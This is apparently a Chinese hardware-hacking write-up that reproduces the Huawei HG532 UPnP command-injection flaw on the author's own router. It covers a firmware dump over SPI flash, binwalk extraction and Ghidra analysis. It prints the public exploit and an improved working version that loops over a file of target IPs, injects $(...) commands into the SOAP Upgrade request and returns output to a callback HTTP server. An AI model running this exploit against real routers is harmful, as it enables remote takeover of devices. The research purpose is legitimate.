该漏洞是个命令注入漏洞,在路由器的UPnP协议(在37215端口监听)的处理上存在缺陷导致这个漏洞发生
连接路由器,下载POC并尝试打通
插入路由器电源,以及LAN口连到电脑上:
默认网关是192.168.1.1

对应POC网站:Huawei Router HG532 - Arbitrary Command Execution - Hardware webapps Exploit

下载后运行,依旧是无法直接打通。先分析一下这个漏洞的成因
漏洞点分析
为了保持真机测试的条件,现尝试通过真机dump固件下来:
首先需要找到SPI FLASH芯片

电路板上该芯片写着winbond 25Q32BVSIG1316
说明这是一颗华邦的spi flash芯片,容量32megabit(4MB),2013 年第 16 周生产
同时可以看到左下角有一个小圆点,说明该位置是一号引脚
是8引脚,准备用SOP8夹子夹起这颗芯片
确保CH41的引脚没有接反接错后尝试用neoprogrammer读取 (需要先下载好CH341驱动)

成功读取到芯片

可以看到现在读取成功并且校验成功,保存该固件
接下来使用binwalk扫描:
1
| binwalk -Me HG532_W25Q32.bin
|

发现没有叫sasquatch的工具,下载一个再进行binwalk

这次成功提取

漏洞成因是在UPnP协议上,查看bin里面的UPnP
是MIPS的程序于是用Ghidra反汇编

ATP_XML_GetChildNodeByName从传入的XML中寻找标签名NewDownloadURL、NewStatusURL节点的内容
strstr只是检查了41c里是否包含 “://“ 能很容易绕过
然后下面的snprintf函数直接用%s拼接local_420和local_41c
如果在local_420或local_41c里存在$(…)的命令,就会先解析括号里的命令,从而导致RCE
再分析一下原exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import threading, sys, time, random, socket, re, os, struct, array, requests from requests.auth import HTTPDigestAuth ips = open(sys.argv[1], "r").readlines() cmd = "" # Your MIPS (SSHD) rm = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
class exploit(threading.Thread): def __init__ (self, ip): threading.Thread.__init__(self) self.ip = str(ip).rstrip('\n') def run(self): try: url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1" requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm) print "[SOAP] Attempting to infect " + self.ip except Exception as e: pass
for ip in ips: try: n = exploit(ip) n.start() time.sleep(0.03) except: pass
|
ips是放在文件的多个ip地址,方便最后的循环进行多个ip的攻击
变量rm是构造的SOAP XML报文,注入了$() 包裹的命令
url以及后续的post是在37215upnp端口调用DeviceUpgrade动作,发送post请求,然后将伪造的XML给函数识别
经过分析是缺少了协议头,需要在post的时候把头部也传上去
改进后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import threading, sys, time, requests from requests.auth import HTTPDigestAuth from xml.sax.saxutils import escape
# 用法: # 1) 盲执行: python 43414.py target.txt "reboot" # 2) 回显到你本机HTTP日志: python 43414.py target.txt "cat /flag" 192.168.1.2 8000 #监听:python -m http.server 8000 if len(sys.argv) < 3: print('Usage: python 43414.py <targets_file> "<cmd>" [callback_ip] [callback_port]') sys.exit(1)
targets_file = sys.argv[1] cmd = sys.argv[2] callback_ip = sys.argv[3] if len(sys.argv) >= 4 else None callback_port = int(sys.argv[4]) if len(sys.argv) >= 5 else 8000
ips = [x.strip() for x in open(targets_file, "r", encoding="utf-8", errors="ignore") if x.strip()]
def build_soap(cmd_text: str): # 关键点:两个参数都要是合法 URL,注入放 NewDownloadURL 更稳 if callback_ip: status_url = f"http://{callback_ip}:{callback_port}/status" download_url = f"http://{callback_ip}:{callback_port}/$({cmd_text})" else: status_url = "http://example.com/status" download_url = f"http://example.com/$({cmd_text})"
return ( '<?xml version="1.0"?>' '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" ' 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' '<s:Body>' '<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">' f'<NewStatusURL>{escape(status_url)}</NewStatusURL>' f'<NewDownloadURL>{escape(download_url)}</NewDownloadURL>' '</u:Upgrade>' '</s:Body>' '</s:Envelope>' )
headers = { "Content-Type": 'text/xml; charset="utf-8"', "SOAPAction": '"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade"', }
class Exploit(threading.Thread): def __init__(self, ip): super().__init__() self.ip = ip
def run(self): try: url = f"http://{self.ip}:37215/ctrlt/DeviceUpgrade_1" data = build_soap(cmd) r = requests.post( url, timeout=8, auth=HTTPDigestAuth("dslf-config", "admin"), data=data, headers=headers, ) print(f"[{self.ip}] HTTP {r.status_code}") print(f"[{self.ip}] {r.text[:200].replace(chr(10), ' ')}") except Exception as e: print(f"[ERROR] {self.ip}: {e}")
threads = [] for ip in ips: t = Exploit(ip) t.start() threads.append(t) time.sleep(0.1)
for t in threads: t.join()
|
用新窗口来接收回显
1
| python 43414.py target.txt "ls" 192.168.1.2 8000
|

可以看到只收到了个var,说明在回显的时候遇到空格或换行会截断
需要换一个命令:
1
| python3 43414.py target.txt "for f in $(ls); do echo -n ${f}_; done" 192.168.1.2 8000
|
不换行,把空格替换成下划线:

这次就有回显了
本来打算连接uart串口调试,但是这台设备的串口不自带引脚,需要焊接工具,暂时先搁置。。原因是:
